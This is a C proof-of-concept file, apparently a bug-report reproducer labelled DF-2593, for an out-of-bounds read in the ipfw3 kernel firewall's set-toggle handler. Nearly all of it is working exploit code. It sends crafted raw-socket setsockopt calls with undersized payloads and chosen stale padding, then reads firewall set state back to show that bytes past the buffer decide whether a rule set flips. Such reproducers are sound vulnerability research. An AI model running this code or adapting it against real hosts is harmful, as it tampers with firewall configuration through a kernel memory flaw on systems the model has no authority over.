DF-2593 / fw3_set_oob.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | /* DF-2593 -- ipfw3 set handlers read past sopt_valsize. * ip_fw3_ctl_set_toggle (ip_fw3_set.c:~237) does `num = (int*)sopt->sopt_val; * if (*num > 0 && *num < 32)` with NO sopt_valsize check. Staged sopt_val * (kmalloc(valsize) in kern_setsockopt, uipc_syscalls.c:1257) after * ip_fw3_ctl_x is [payload_byte][stale x_header bytes...]. With a 1-byte * payload the int read consumes 3 bytes beyond sopt_valsize; the stale * header residue decides whether the toggle fires. * * Observable: IP_FW_SET_GET returns ctx->sets; toggle set 5 XORs bit 5. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> /* from ip_fw3.h */ struct ipfw_x_header { uint16_t opcode; uint16_t _pad; }; /* IP_FW_X == 49 per netinet/in.h */ #ifndef IP_FW_X #define IP_FW_X 49 #endif #define IP_FW_SET_GET 95 #define IP_FW_SET_TOGGLE 99 static int fw3_setopt(int opcode, void *data, size_t len, uint16_t pad) { int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket"); exit(1); } unsigned char buf[64]; struct ipfw_x_header *x = (struct ipfw_x_header *)buf; x->opcode = opcode; x->_pad = pad; memcpy(buf + 4, data, len); int rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, 4 + len); if (rc < 0) fprintf(stderr, "setsockopt(op=%d pad=%#x len=%zu): %s\n", opcode, pad, len, strerror(errno)); close(s); return rc; } static uint32_t fw3_get_sets(void) { int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); unsigned char buf[64]; struct ipfw_x_header *x = (struct ipfw_x_header *)buf; socklen_t len = sizeof(buf); uint32_t sets = 0xFFFFFFFF; x->opcode = IP_FW_SET_GET; x->_pad = 0; if (getsockopt(s, IPPROTO_IP, IP_FW_X, buf, &len) == 0) memcpy(&sets, buf, 4); else fprintf(stderr, "getsockopt SET_GET: %s\n", strerror(errno)); close(s); return sets; } int main(void) { uint32_t s0, s1, s2; unsigned char one = 5; setvbuf(stdout, NULL, _IONBF, 0); s0 = fw3_get_sets(); printf("baseline sets = %#x\n", s0); /* case A: 1-byte payload + zero pad residue -> *num = 5 -> toggles */ if (fw3_setopt(IP_FW_SET_TOGGLE, &one, 1, 0x0000) < 0) return 1; s1 = fw3_get_sets(); uint32_t sA = s1; printf("case A (payload=1B=5, stale bytes 00 00 00): sets=%#x " "(delta %#x)\n", s1, s1 ^ s0); /* undo: toggle again */ fw3_setopt(IP_FW_SET_TOGGLE, &one, 1, 0x0000); s1 = fw3_get_sets(); /* case B: same 1-byte payload, stale residue 0x0101 -> *num huge */ if (fw3_setopt(IP_FW_SET_TOGGLE, &one, 1, 0x0101) < 0) return 1; s2 = fw3_get_sets(); printf("case B (payload=1B=5, stale bytes 01 01 00): sets=%#x " "(delta %#x)\n", s2, s2 ^ s1); if ((sA ^ s0) == 0x20 && (s2 ^ s1) == 0) printf("DF2593: OOB READ CONFIRMED -- bytes past sopt_valsize " "decided the toggle\n"); else if ((s1 ^ s0) == 0 && (s2 ^ s1) == 0) printf("DF2593: no behavioral divergence (no OOB effect seen)\n"); else printf("DF2593: partial divergence: A=%#x B=%#x\n", s1 ^ s0, s2 ^ s1); /* control: proper 4-byte setsockopt behaves identically regardless of pad */ { unsigned char four[4] = {5, 0, 0, 0}; uint32_t c0 = fw3_get_sets(); fw3_setopt(IP_FW_SET_TOGGLE, four, 4, 0xFFFF); uint32_t c1 = fw3_get_sets(); fw3_setopt(IP_FW_SET_TOGGLE, four, 4, 0x0000); printf("control (4-byte payload, junk pad): delta=%#x " "(pad ignored as it should be)\n", c1 ^ c0); } return 0; } |